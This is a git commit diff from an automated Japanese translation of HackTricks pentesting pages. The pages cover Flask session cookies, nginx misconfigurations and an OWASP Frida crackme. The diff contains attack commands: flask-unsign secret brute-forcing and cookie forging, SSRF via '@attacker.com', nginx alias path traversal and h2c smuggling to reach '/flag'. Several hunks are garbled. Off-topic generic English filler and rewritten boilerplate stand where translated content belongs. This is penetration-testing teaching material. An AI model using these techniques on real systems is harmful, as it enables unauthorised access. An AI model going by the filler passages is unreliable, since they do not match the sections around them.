Translated ['mobile-pentesting/android-app-pentesting/frida-tutorial/owa

This commit is contained in:
Translator 2023-10-26 14:42:37 +00:00
parent ad9e8acf41
commit a3c22c574b
13 changed files with 385 additions and 235 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 120 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 115 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 109 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 115 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 227 KiB

View file

@ -611,6 +611,7 @@
* [Bypassing SOP with Iframes - 1](pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md)
* [Bypassing SOP with Iframes - 2](pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md)
* [Steal postmessage modifying iframe location](pentesting-web/postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md)
* [Proxy / WAF Protections Bypass](pentesting-web/proxy-waf-protections-bypass.md)
* [Race Condition](pentesting-web/race-condition.md)
* [Rate Limit Bypass](pentesting-web/rate-limit-bypass.md)
* [Registration & Takeover Vulnerabilities](pentesting-web/registration-vulnerabilities.md)

View file

@ -6,7 +6,7 @@
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
@ -20,6 +20,8 @@
\\
***
**From**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk)
@ -27,7 +29,7 @@
[https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)に基づいています。
**\_exit()**関数と**復号化関数**をフックして、検証ボタンを押すとフラグがFridaコンソールに表示されるようにします。
**\_exit()**関数と**decrypt関数**をフックして、検証ボタンを押すとフラグがFridaコンソールに表示されるようにします。
```javascript
Java.perform(function () {
send("Starting hooks OWASP uncrackable1...");

View file

@ -14,7 +14,7 @@
<figure><img src="../../.gitbook/assets/image (9) (1) (2).png" alt=""><figcaption></figcaption></figure>
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**して**自動化**します。\
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -54,61 +54,39 @@ In some cases, the cookies may be encoded or encrypted to protect the data they
There are several tools and techniques available to decode cookies. One popular tool is the "base64" encoding scheme. Base64 is a binary-to-text encoding scheme that represents binary data in an ASCII string format.
To decode a cookie encoded in base64, you can use online tools or programming libraries. For example, in Python, you can use the `base64` module to decode a base64-encoded cookie.
To decode a cookie using base64, you can use online tools or command-line utilities. For example, you can use the following command in a Linux terminal:
Here is an example of how to decode a base64-encoded cookie using Python:
```python
import base64
encoded_cookie = "SGVsbG8gV29ybGQh"
decoded_cookie = base64.b64decode(encoded_cookie).decode('utf-8')
print(decoded_cookie)
```bash
echo -n "SGVsbG8gd29ybGQ=" | base64 -d
```
This will output the decoded cookie: "Hello World!".
This command will decode the base64-encoded string "SGVsbG8gd29ybGQ=" and output the decoded value "Hello world".
By decoding the cookie, you can analyze the data it contains and gain insights into how the web application handles user sessions. This can be useful for identifying vulnerabilities or understanding the application's behavior.
By decoding a cookie, you can gain insight into the data it contains and potentially identify any vulnerabilities or security issues. It is an essential step in the process of web application penetration testing.
```
Cookieのデコード
----------------
ウェブアプリケーションの解析を始める最初のステップは、ユーザーセッションの処理方法を理解することです。一般的な方法の1つは、Cookieを使用することです。Cookieは、ユーザーのブラウザに保存され、各リクエストと共にサーバーに送信される小さなデータの塊です。
ウェブアプリケーションの解析最初のステップは、ユーザーセッションの処理方法を理解することです。一般的な方法の1つは、Cookieを使用することです。Cookieは、ユーザーのブラウザに保存され、各リクエストと共にサーバーに送信される小さなデータの塊です。
場合によっては、Cookieに含まれるデータを保護するために、Cookieがエンコードまたは暗号化されていることがあります。Cookieの内容を解析するには、それをデコードする必要があります。
Cookieをデコードするためには、いくつかのツールやテクニックが利用できます。人気のあるツールの1つは、"base64"エンコーディングスキームです。Base64は、バイナリデータをASCII文字列形式で表現するバイナリ-テキストエンコーディングスキームです。
Cookieをデコードするためには、いくつかのツールや技術が利用できます。人気のあるツールの1つは、"base64"エンコーディングスキームです。Base64は、バイナリデータをASCII文字列形式で表現するバイナリからテキストへのエンコーディングスキームです。
Pythonでは、オンラインツールやプログラミングライブラリを使用して、Base64でエンコードされたCookieをデコードすることができます。例えば、Pythonでは、`base64`モジュールを使用してBase64でエンコードされたCookieをデコードすることができます。
base64を使用してCookieをデコードするには、オンラインツールやコマンドラインユーティリティを使用できます。たとえば、Linuxのターミナルで次のコマンドを使用できます。
以下は、Pythonを使用してBase64でエンコードされたCookieをデコードする方法の例です。
```python
import base64
encoded_cookie = "SGVsbG8gV29ybGQh"
decoded_cookie = base64.b64decode(encoded_cookie).decode('utf-8')
print(decoded_cookie)
```bash
echo -n "SGVsbG8gd29ybGQ=" | base64 -d
```
れにより、デコードされたCookie "Hello World!" が出力されます。
このコマンドは、base64でエンコードされた文字列 "SGVsbG8gd29ybGQ=" をデコードし、デコードされた値 "Hello world" を出力します。
Cookieをデコードすることで、それが含むデータを解析し、ウェブアプリケーションがユーザーセッションを処理する方法を理解することができます。これは、脆弱性の特定やアプリケーションの動作の理解に役立ちます。
Cookieをデコードすることで、それが含むデータを把握し、潜在的な脆弱性やセキュリティの問題を特定することができます。これは、ウェブアプリケーションのペネトレーションテストのプロセスにおいて重要なステップです。
```bash
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
```
#### **ブルートフォース攻撃**
Brute Forceブルートフォース攻撃は、パスワードや認証情報を推測するために、総当たりで可能なすべての組み合わせを試す攻撃手法です。この攻撃は、強力なコンピュータリソースと時間が必要ですが、脆弱なパスワードや弱い認証システムに対して効果的です。
ブルートフォース攻撃は、Webアプリケーションのセキュリティテストにおいて重要な手法です。攻撃者は、ログインフォームや認証APIなどのエンドポイントに対して、さまざまなパスワードを試すことで、正しいパスワードを特定しようとします。
ブルートフォース攻撃を防ぐためには、強力なパスワードポリシーを実装し、アカウントロックアウト機能やCAPTCHAなどのセキュリティメカニズムを導入することが重要です。また、ログイン試行回数の制限やIPアドレスのブロックなどの対策も有効です。
ブルートフォース攻撃は、セキュリティテストの一環として、合法的な目的で使用されることもあります。しかし、悪意のある攻撃者によって悪用される可能性もあるため、セキュリティ対策を適切に実施することが重要です。
```bash
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
```
@ -184,16 +162,42 @@ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
```
#### レガシー(古いバージョン)を使用した署名
Legacy versions of Flask, such as Flask 0.11 and below, use a different method for signing cookies compared to the current versions. In these older versions, the `itsdangerous` library is used for signing cookies.
Legacy versions of Flask, specifically versions 0.9 and earlier, use a different method for signing cookies compared to newer versions. This older method is considered less secure and should be avoided if possible.
To sign a cookie using legacy Flask versions, you can follow these steps:
To sign cookies using legacy versions of Flask, you can use the `itsdangerous` library. This library provides a `URLSafeSerializer` class that can be used to sign and verify cookies.
1. Import the `itsdangerous` library: `from itsdangerous import Signer`.
2. Create an instance of the `Signer` class, passing in a secret key: `signer = Signer('your_secret_key')`.
3. Use the `signer.sign()` method to sign the cookie value: `signed_value = signer.sign('cookie_value')`.
4. Set the signed cookie value in the response: `response.set_cookie('cookie_name', signed_value)`.
Here is an example of how to sign a cookie using the legacy method:
Keep in mind that using legacy signing methods may have security implications, as newer versions of Flask have introduced improvements to the signing process. It is recommended to upgrade to the latest version of Flask and use the current signing method for better security.
```python
from itsdangerous import URLSafeSerializer
# Create a serializer with a secret key
serializer = URLSafeSerializer('your_secret_key')
# Sign the cookie value
signed_value = serializer.dumps('cookie_value')
# Set the signed cookie in the response
response.set_cookie('cookie_name', signed_value)
```
To verify the signed cookie, you can use the `loads` method of the serializer:
```python
from itsdangerous import BadSignature
# Get the signed cookie value from the request
signed_value = request.cookies.get('cookie_name')
try:
# Verify the signed cookie value
cookie_value = serializer.loads(signed_value)
except BadSignature:
# Handle invalid signature
pass
```
It is recommended to upgrade to a newer version of Flask and use the updated signing method for improved security.
```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
```
@ -205,14 +209,39 @@ flask-unsignを使用して作成されたクッキーを使用してウェブ
```bash
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
```
### FlaskセッションクッキーのSQLiにおけるSQLmap
### FlaskセッションクッキーのSQLiSQLmap
[**この例**](../../pentesting-web/sql-injection/sqlmap/#eval)では、既知の秘密を使用して、sqlmapの`eval`オプションを使用して、Flaskに対して自動的にsqlmapペイロードに署名します。
[**この例**](../../pentesting-web/sql-injection/sqlmap/#eval)では、既知の秘密を使用して、sqlmapの`eval`オプションを使用してFlaskに対して自動的にsqlmapペイロードに署名します。
## Flaskプロキシを使用したSSRF
[**この解説記事**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)では、Flaskが「@」文字で始まるリクエストを許可する方法が説明されています。
```http
GET @/ HTTP/1.1
Host: target.com
Connection: close
```
次のシナリオの中で、どれが当てはまりますか?
```python
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
```
"@attacker.com"のようなものを導入することで、**SSRF**を引き起こすことができます。
<figure><img src="../../.gitbook/assets/image (9) (1) (2).png" alt=""><figcaption></figcaption></figure>
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\
今すぐアクセスを取得:
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフロー**を簡単に構築し、自動化することができます。
今すぐアクセスを取得してください
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -220,10 +249,10 @@ ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s p
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したり、HackTricksを**PDFでダウンロード**したりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をご覧ください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)****
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>

View file

@ -14,8 +14,8 @@
<figure><img src="../../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/)は、コロンビアのボゴタで2023年9月7日から8日まで開催される、10年以上の歴史を持つ国際的なサイバーセキュリティイベントです。このイベントは、スペイン語で最新の研究が発表される技術的な内容の高いイベントであり、世界中のハッカーや研究者を惹きつけています。
以下のリンクで今すぐ登録し、この素晴らしいカンファレンスをお見逃しなく!:
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\
¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!:
{% embed url="https://www.dragonjarcon.org/" %}
@ -30,13 +30,13 @@ proxy_pass http://127.0.0.1:8080/;
}
}
```
`root`ディレクティブは、Nginxのルートフォルダを指定します。上記の例では、ルートフォルダは`/etc/nginx`であり、そのフォルダ内のファイルにアクセスできます。上記の設定には`/ (location / {...})`の場所はありませんが、`/hello.txt`の場所はあります。そのため、`root`ディレクティブはグローバルに設定され、`/`へのリクエストはローカルパス`/etc/nginx`にアクセスします。
単純な`GET /nginx.conf`のリクエストは、`/etc/nginx/nginx.conf`に保存されているNginxの設定ファイルの内容を明らかにします。ルートが`/etc`に設定されている場合、`GET`リクエスト`/nginx/nginx.conf`は設定ファイルを明らかにします。一部の場合では、他の設定ファイル、アクセスログ、さらにはHTTP基本認証の暗号化された資格情報にアクセスすることができる可能性があります。
## Alias LFI Misconfiguration <a href="#alias-lfi-misconfiguration" id="alias-lfi-misconfiguration"></a>
Nginxの設定内を見ると、「location」ステートメントがあります。もし、以下のようなものがあれば:
Nginxの`root`ディレクティブは、Nginxのルートフォルダを指定します。上記の例では、ルートフォルダは`/etc/nginx`であり、そのフォルダ内のファイルにアクセスできます。上記の設定には`/ (location / {...})`の場所がなく、`root`ディレクティブはグローバルに設定されます。つまり、`/`へのリクエストはローカルパス`/etc/nginx`にアクセスします。
単純な`GET /nginx.conf`のリクエストは、`/etc/nginx/nginx.conf`に保存されているNginxの設定ファイルの内容を公開します。ルートが`/etc`に設定されている場合、`GET`リクエスト`/nginx/nginx.conf`は設定ファイルを公開します。一部の場合では、他の設定ファイル、アクセスログ、さらにはHTTP基本認証の暗号化された資格情報にアクセスすることができる可能性があります。
Nginxの設定内の「location」ステートメントを確認し、次のようなものがあるかどうかを確認してください
```
location /imgs {
alias /path/images/;
@ -44,63 +44,64 @@ alias /path/images/;
```
以下の理由により、LFILocal File Inclusionの脆弱性が存在します。
```markdown
- The application allows user-supplied input to be included in file paths without proper validation or sanitization.
- The file inclusion functionality does not restrict access to sensitive files or directories.
- The application does not implement any security measures to prevent directory traversal attacks.
```plaintext
1. The application allows user-supplied input to be included in file paths without proper sanitization or validation.
2. The application does not enforce proper access controls, allowing unauthorized users to access sensitive files.
3. The application does not restrict file inclusion to a specific directory or whitelist of allowed files.
```
この脆弱性が悪用されると、攻撃者はアプリケーションのファイルシステム内の任意のファイルにアクセスできる可能性があります。これにより、機密情報の漏洩やシステムの完全な制御が可能になります。
攻撃者は、LFI脆弱性を悪用して、システム上の重要なファイルにアクセスしたり、機密情報を取得したりすることができます。この脆弱性を修正するためには、入力の検証とサニタイズを適切に行い、アクセス制御を強化し、ファイルの取り込みを特定のディレクトリまたは許可されたファイルのホワイトリストに制限する必要があります。
```
/imgs../flag.txt
```
以下は、ハッキング技術に関する本の内容です。以下の内容は、/hive/hacktricks/network-services-pentesting/pentesting-web/nginx.mdというファイルからのものです。
# Nginx
Nginxは、高性能で軽量なWebサーバーおよびリバースプロキシサーバーです。Nginxのペネトレーションテストには、さまざまなテクニックがあります。
Nginx is a popular web server that is commonly used to serve static content, reverse proxy, and load balance web applications. It is known for its high performance, scalability, and reliability.
## バージョンの特定
## Configuration Files
Nginxのバージョンを特定するために、以下の方法を使用できます。
Nginx uses configuration files to define how it should handle incoming requests. The main configuration file is typically located at `/etc/nginx/nginx.conf`. Additional configuration files can be included using the `include` directive.
1. レスポンスヘッダーを確認するNginxのレスポンスヘッダーには、バージョン情報が含まれている場合があります。例えば、`Server: nginx/1.14.0`のような形式です。
## Virtual Hosts
2. エラーページを確認するNginxのエラーページには、バージョン情報が含まれている場合があります。例えば、`nginx/1.14.0`のような形式です。
Nginx supports virtual hosts, allowing multiple websites to be hosted on a single server. Each virtual host is defined in a separate configuration file and can have its own set of directives.
3. ディレクトリリスティングを利用するNginxのディレクトリリスティング機能を有効にしている場合、ディレクトリの一覧にバージョン情報が表示されることがあります。
## Reverse Proxy
## ディレクトリトラバーサルの検出
Nginx can be used as a reverse proxy to distribute incoming requests to multiple backend servers. This can be useful for load balancing or for serving content from different locations.
Nginxのディレクトリトラバーサルの脆弱性を検出するために、以下の手法を使用できます。
To configure Nginx as a reverse proxy, the `proxy_pass` directive is used to specify the backend server's address.
1. ディレクトリトラバーサル攻撃:`../`を使用して、ルートディレクトリ以外のディレクトリにアクセスしようとします。エラーメッセージやディレクトリリスティングの結果を確認して、攻撃が成功したかどうかを判断します。
## Load Balancing
2. 特殊な文字列の使用:特殊な文字列(例:`%2e%2e/`)を使用して、ディレクトリトラバーサル攻撃を試みます。エラーメッセージやディレクトリリスティングの結果を確認して、攻撃が成功したかどうかを判断します。
Nginx can also be used as a load balancer to distribute incoming requests across multiple backend servers. It supports various load balancing algorithms, such as round-robin, least connections, and IP hash.
## ファイルの読み取り
To configure Nginx as a load balancer, the `upstream` directive is used to define the backend servers, and the `proxy_pass` directive is used to specify the load balancing method.
Nginxサーバー上のファイルを読み取るために、以下の手法を使用できます。
## Security Considerations
1. ディレクトリトラバーサル攻撃:`../`を使用して、目的のファイルにアクセスしようとします。エラーメッセージやファイルの内容を確認して、攻撃が成功したかどうかを判断します。
When configuring Nginx, it is important to consider security best practices. Some important considerations include:
2. 特殊な文字列の使用:特殊な文字列(例:`%2e%2e/`)を使用して、ファイルにアクセスしようとします。エラーメッセージやファイルの内容を確認して、攻撃が成功したかどうかを判断します。
- Enabling HTTPS to encrypt communication between clients and the server.
- Implementing access controls to restrict access to sensitive resources.
- Configuring proper file permissions to prevent unauthorized access.
- Regularly updating Nginx to apply security patches and bug fixes.
以上が、Nginxのペネトレーションテストに関する基本的な情報です。
By following these best practices, you can help ensure the security and integrity of your Nginx server.
```
/path/images/../flag.txt
```
正しい設定は次のとおりです:
正しい設定は次のりです:
```
location /imgs/ {
alias /path/images/;
}
```
**したがって、Nginxサーバーを見つけた場合は、この脆弱性をチェックする必要があります。また、ファイル/ディレクトリのブルートフォースが奇妙な振る舞いをしている場合にも発見することができます。**
**したがって、Nginxサーバーを見つけた場合は、この脆弱性をチェックする必要があります。また、ファイル/ディレクトリのブルートフォースが異常な振る舞いをしている場合にも発見することができます。**
詳細情報:[https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/](https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/)
Accunetixテスト
Accunetixテスト:
```
alias../ => HTTP status code 403
alias.../ => HTTP status code 404
@ -108,7 +109,19 @@ alias../../ => HTTP status code 403
alias../../../../../../../../../../../ => HTTP status code 400
alias../ => HTTP status code 403
```
## 安全でない変数の使用 <a href="#unsafe-variable-use" id="unsafe-variable-use"></a>
## 安全でないパス制限 <a href="#unsafe-variable-use" id="unsafe-variable-use"></a>
次のページをチェックして、次のようなディレクティブをバイパスする方法を学びます。
```plaintext
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
```
## 危険な変数の使用 <a href="#unsafe-variable-use" id="unsafe-variable-use"></a>
脆弱なNginxの設定の例は以下の通りです
```
@ -132,7 +145,7 @@ CRLFインジェクションとレスポンススプリッティングのリス
いくつかの場合において、ユーザーからのデータがNginxの変数として扱われることがあります。なぜこれが起こるのかは明確ではありませんが、これは珍しいことではなく、簡単にテストすることもできません。[H1レポート](https://hackerone.com/reports/370094)で確認できるように、エラーメッセージを検索すると、[SSIフィルターモジュール](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx\_http\_ssi\_filter\_module.c#L365)で見つかることがわかります。したがって、これはSSIに起因するものであることが明らかになります。
これをテストする方法の一つは、リファラーヘッダーの値を設定することです:
これをテストする方法の一つは、Refererヘッダーの値を設定することです:
```
$ curl -H Referer: bar http://localhost/foo$http_referer | grep foobar
```
@ -140,7 +153,7 @@ $ curl -H Referer: bar http://localhost/foo$http_referer | grep foobar
## バックエンドの生のレスポンスの読み取り
Nginxの`proxy_pass`を使用すると、バックエンドによって生成されたエラーやHTTPヘッダーをインターセプトすることができます。これは、内部エラーメッセージやヘッダーを隠すために非常に便利です。Nginxが代わりに処理するようになります。バックエンドがカスタムエラーページを返す場合、Nginxは自動的にそれを提供します。しかし、もしNginxがそれがHTTPレスポンスであることを理解できない場合はどうなるでしょうか?
Nginxの`proxy_pass`を使用すると、バックエンドによって生成されたエラーやHTTPヘッダーをインターセプトすることができます。これは、内部エラーメッセージやヘッダーを非表示にして、代わりにNginxが処理するため非常に便利です。バックエンドがカスタムエラーページを返す場合、Nginxは自動的にそれを提供します。しかし、もしNginxがそれがHTTPレスポンスであることを理解していない場合はどうなるでしょうか?
クライアントが無効なHTTPリクエストをNginxに送信すると、そのリクエストはそのままバックエンドに転送され、バックエンドは生のコンテンツで応答します。その後、Nginxは無効なHTTPレスポンスを理解せずにクライアントに転送します。次のようなuWSGIアプリケーションを想像してみてください
```python
@ -157,11 +170,11 @@ proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
```
[proxy\_intercept\_errors](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors)は、バックエンドが300より大きい応答ステータスを持つ場合、カスタムの応答を提供します。上記のuWSGIアプリケーションでは、Nginxによって`500エラー`がインターセプトされます
[proxy\_intercept\_errors](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors)は、バックエンドが300より大きい応答ステータスを持つ場合、カスタムの応答を提供します。上記のuWSGIアプリケーションでは、Nginxによってインターセプトされるでしょう
[proxy\_hide\_header](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_hide\_header)は、指定されたHTTPヘッダーをクライアントから非表示にするためのものです。
[proxy\_hide\_header](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_hide\_header)は、指定されたHTTPヘッダーをクライアントから隠すためのものです。
通常の`GET`リクエストを送信すると、Nginxはのように返します:
通常の`GET`リクエストを送信すると、Nginxは以下のように返します:
```
HTTP/1.1 500 Internal Server Error
Server: nginx/1.10.3
@ -175,7 +188,7 @@ GET /? XTTP/1.1
Host: 127.0.0.1
Connection: close
```
次の応答を受け取ります:
次のレスポンスを取得します:
```
XTTP/1.1 500 Error
Content-Type: text/html
@ -185,9 +198,9 @@ Secret info, should not be visible!
```
## merge\_slashesをoffに設定する
[merge\_slashes](http://nginx.org/en/docs/http/ngx\_http\_core\_module.html#merge\_slashes)ディレクティブはデフォルトで「on」に設定されており、2つ以上のスラッシュを1つに圧縮する仕組みです。したがって、`///`は`/`になります。Nginxがリバースプロキシとして使用され、プロキシされているアプリケーションがローカルファイルインクルージョンの脆弱性を持っている場合、リクエストに余分なスラッシュを使用することで攻撃の余地が生じる可能性があります。これについては、[Danny RobinsonとRotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d)によって詳しく説明されています。
[merge\_slashes](http://nginx.org/en/docs/http/ngx\_http\_core\_module.html#merge\_slashes)ディレクティブはデフォルトで「on」に設定されており、2つ以上のスラッシュを1つに圧縮する仕組みです。したがって、`///`は`/`になります。Nginxがリバースプロキシとして使用され、プロキシされているアプリケーションがローカルファイルインクルージョンの脆弱性を持っている場合、リクエストに余分なスラッシュを使用すると、攻撃の余地が生じる可能性があります。これについては、[Danny RobinsonとRotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d)によって詳しく説明されています。
私たちは、`merge_slashes`が「off」に設定されているNginxの設定ファイルが33個見つかりました。
私たちは、33個のNginx設定ファイルで`merge_slashes`が「off」に設定されていることを見つけました。
## mapディレクティブにデフォルトが指定されていません
@ -223,16 +236,16 @@ return 200 "Hello. It is private area: $mappocallow";
## NginxのDNSスプーフィング
この記事によると:[http://blog.zorinaq.com/nginx-resol**ver-vulns/**](http://blog.zorinaq.com/nginx-resolver-vulns/)、もしもNginxが使用しているDNSサーバーを**知っている**(そして通信を傍受することができるので、これは**127.0.0.1**が使用されている場合には有効ではありません場合、そしてNginxが**問い合わせているドメイン**を知っている場合、Nginxに対してDNSレコードをスプーフィングすることが可能です。
この記事によると:[http://blog.zorinaq.com/nginx-resol**ver-vulns/**](http://blog.zorinaq.com/nginx-resolver-vulns/)、もしもNginxが使用しているDNSサーバーを**知っている**(そして通信を傍受することができるので、これは**127.0.0.1**が使用されている場合には有効ではありません場合、そしてNginxが**問い合わせているドメイン**を知っている場合、NginxDNSレコードをスプーフィングすることが可能です。
Nginxは次のように使用するDNSサーバーを指定できます
```
resolver 8.8.8.8;
```
## `proxy_pass`および`internal`ディレクティブ
## `proxy_pass` および `internal` ディレクティブ
**`proxy_pass`**ディレクティブは、内部または外部の他のサーバーに対するリクエストを内部的にリダイレクトするために使用できます。\
**`internal`**ディレクティブは、Nginxに対して、そのロケーションには内部からのアクセスのみが可能であることを明示するために使用されます。
**`proxy_pass`** ディレクティブは、内部または外部の他のサーバーに対するリクエストを内部的にリダイレクトするために使用されます。\
**`internal`** ディレクティブは、Nginxに対してそのロケーションが内部からのみアクセス可能であることを明示するために使用されます。
これらのディレクティブの使用は、脆弱性ではありませんが、それらがどのように設定されているかを確認する必要があります。
@ -241,7 +254,7 @@ resolver 8.8.8.8;
nginxサーバーがUpgradeおよびConnectionヘッダーを渡すように設定されている場合、[**h2cスマグリング攻撃**](../../pentesting-web/h2c-smuggling.md)を実行して、保護された/内部のエンドポイントにアクセスすることができます。
{% hint style="danger" %}
この脆弱性により、攻撃者は`proxy_pass`エンドポイント(この場合は`http://backend:9999`)との直接接続を確立することができますが、その内容はnginxによってチェックされません。
この脆弱性により、攻撃者は`proxy_pass`エンドポイント(この場合は`http://backend:9999`)との直接接続を確立することができます。そのコンテンツはnginxによってチェックされません。
{% endhint %}
以下は、[ここ](https://bishopfox.com/blog/h2c-smuggling-request)から`/flag`を盗むための脆弱な設定の例です。
@ -265,12 +278,12 @@ deny all;
}
```
{% hint style="warning" %}
`proxy_pass`が`http://backend:9999/socket.io`のような特定の**パス**を指していた場合でも、接続は`http://backend:9999`と確立されるため、その内部エンドポイント内の他のパスにアクセスすることができます。したがって、proxy\_passのURLにパスが指定されていても問題ありません。
`proxy_pass`が`http://backend:9999/socket.io`のような特定の**パス**を指していた場合でも、接続は`http://backend:9999`と確立されるため、その内部エンドポイント内の他のパスにアクセスすることができます。したがって、`proxy_pass`のURLにパスが指定されていても問題ありません。
